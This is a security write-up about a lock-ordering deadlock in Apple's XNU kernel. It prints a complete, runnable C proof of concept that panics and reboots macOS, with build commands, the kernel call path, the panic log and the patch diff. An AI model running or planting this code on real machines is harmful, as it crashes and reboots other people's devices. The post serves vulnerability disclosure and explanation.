Apple XNU - IPC Panic

3 min read Original article ↗

Nicolas Seriot

Security > IPC Panic

2026-09-16

For years, four Mach calls could reboot macOS and iOS devices because two lines in XNU were in the wrong order.

A four-call kernel panic

In short, IPC means inter-process communication, and Mach ports carry messages between processes. A port owner can request a kernel notification when the last send right disappears. Here, the notification is sent to the same port while it is being destroyed.

#include <mach/mach.h>

int main(void) {
    mach_port_t task = mach_task_self();
    mach_port_t port = MACH_PORT_NULL;
    mach_port_t previous = MACH_PORT_NULL;

    // 1. Create a port.
    mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &port);

    // 2. Give ourselves a send right.
    mach_port_insert_right(task, port, port, MACH_MSG_TYPE_MAKE_SEND);

    // 3. Ask the kernel to send a no-senders notification to that same port.
    mach_port_request_notification(
        task, port, MACH_NOTIFY_NO_SENDERS, 0,
        port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &previous);

    // 4. Destroy the port, removing the last sender.
    mach_port_destruct(task, port, -1, 0);

    return 0;
}

Save this code as ipc_poc.c and run on macOS 26:

cc -o ipc_poc ipc_poc.c
./ipc_poc

The machine panics and reboots.

The bug

mach_port_destruct() locks the port and drops the last send right. That fires the notification, which tries to lock the same port again. The port is unlocked only by ipc_port_destroy(), which never runs.

Call path:

mach_port_destruct()
  ipc_right_destruct()
    ip_mq_lock(port)              // lock the port
    ipc_notify_no_senders_emit()  // fire notification
      ipc_kmsg_send()
        ip_mq_lock(port)          // try to lock it again: deadlock
    ipc_port_destroy(port)        // ** never reached **

The kernel times out and panics:

panic(cpu 4 caller 0xfffffe004dc480d4): waitq(0xfffffe1876d80980) lock timeout
  after 12000736 ticks; cpu=4, cticket: 0x4, nticket: 0x6, waiting for 0x5,
  timeout: 12000000 @waitq.c:700

Panicked task 0xfffffe1d2b36e490: 83 pages, 1 threads: pid 2787: ipc_poc

The fix

The fix is to send the notification at the bottom of ipc_right_destruct(), after ipc_port_destroy() drops the lock:

    /* Unlock space */

    is_write_unlock(space);

-   ipc_notify_no_senders_emit(nsrequest);

    ipc_port_destroy(port); /* clears receiver, consumes ref, unlocks */

+   ipc_notify_no_senders_emit(nsrequest);

    if (request != IP_NULL) {
        ipc_notify_port_deleted(request, name);
    }

The code looks correct at first glance because it does contain an unlock just before the notification. But that unlock releases the IPC space, not the port. The same ordering appears in every published version I checked, so the bug had probably been present for years.

Not a security bug

This is a reliable local denial of service, but Apple classified it as non-security: it crashes the system without disclosing data or granting extra privileges.

Timeline

The affected platforms share the same kernel code, so one change fixed them all.